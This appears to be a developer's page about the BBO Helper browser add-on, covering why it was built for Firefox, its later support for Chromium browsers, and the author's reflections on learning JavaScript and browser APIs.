BBO Helper was developed for Firefox because I have long loyalties to Firefox and to open source software more generally. I have a healthy distrust of big tech and the advertising, privacy eroding, attention seeking model that much of big tech is based upon in the era of social media. As a developer, I know what sort of tracking is possible and have every reason to suspect that nearly anything that is possible is already being done even if it is highly detrimental to society as a whole (cartoon version for visual people). Firefox together with selected add-on such as uBlock Origin, Decentraleyes, and Cookie Remover are part of my defense.

This said, there is nothing particularly specific to Firefox in BBO Helper. A few years ago, Firefox curtailed the permissions granted to add-ons for security reasons, resulting in a security model very similar to the one for Google Chrome. Support for Chromium based browsers proved fairly easy, with a release in mid-December 2021. This includes Google Chrome, Microsoft Edge, and the Brave browser.

Support for Apple’s Safari is an open question. BBO Helper will never be supported on the old Microsoft Internet Explorer (IE) browser.

This is my first browser add-on. It’s been an educational process. A typical add-on teaching example is something like, “adds a red border to every webpage”. Woo-hoo. BBO Helper is much more complex, a witches’ brew! I used to be one of those guys who could write a few lines of JavaScript when I had to. Now I know something about the language, though I don’t yet consider myself an expert. I’m also much more knowledgeable about the browser APIs and exactly how things happen inside web browsers.

Technical notes